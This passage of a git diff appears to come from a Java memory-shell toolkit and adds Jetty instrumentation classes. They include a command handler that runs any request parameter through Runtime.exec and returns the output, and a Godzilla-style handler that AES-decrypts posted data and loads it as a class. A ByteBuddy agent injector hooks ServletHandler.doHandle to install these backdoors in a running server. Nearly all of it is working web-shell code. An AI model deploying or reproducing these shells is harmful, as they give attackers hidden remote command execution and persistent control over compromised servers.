+ response = field.get(response); + } + obj.put("response", response); + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + obj.put("session", session); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + byte[] data = null; + Class base64; + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + byte[] bytes = c.doFinal(data); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); + Object instance = payload.newInstance(); + instance.equals(obj); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandHandlerAdvisor.java new file mode 100644 index 00000000..66001490 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandHandlerAdvisor.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.memshell.jetty.command; + +import net.bytebuddy.asm.Advice; + +import java.io.InputStream; +import java.io.OutputStream; + +/** + * @author ReaJason + */ +public class CommandHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 1) Object baseRequest, + @Advice.Argument(value = 2) Object request, + @Advice.Argument(value = 3) Object response + ) { + String paramName = "paramName"; + try { + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (cmd != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaHandlerAdvisor.java new file mode 100644 index 00000000..38e7b04e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaHandlerAdvisor.java @@ -0,0 +1,87 @@ +package com.reajason.javaweb.memshell.jetty.godzilla; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class GodzillaHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 1) Object baseRequest, + @Advice.Argument(value = 2) Object request, + @Advice.Argument(value = 3) Object response + ) { + String key = "key"; + String pass = "pass"; + String md5 = "md5"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Cipher c = Cipher.getInstance("AES"); + SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); + c.init(2, keySpec); + data = c.doFinal(data); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + f.equals(arrOut); + f.equals(request); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); + f.toString(); + + c.init(1, keySpec); + byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); + String result = null; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); + } + writer.write(result); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java new file mode 100644 index 00000000..8cde20ca --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyHandlerAgentInjector.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.memshell.jetty.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.any; +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class JettyHandlerAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("doHandle"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) + .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) + .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.eclipse.jetty.servlet.ServletHandler")) + .transform(new JettyHandlerAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle"); + } +} \ No newline at end of file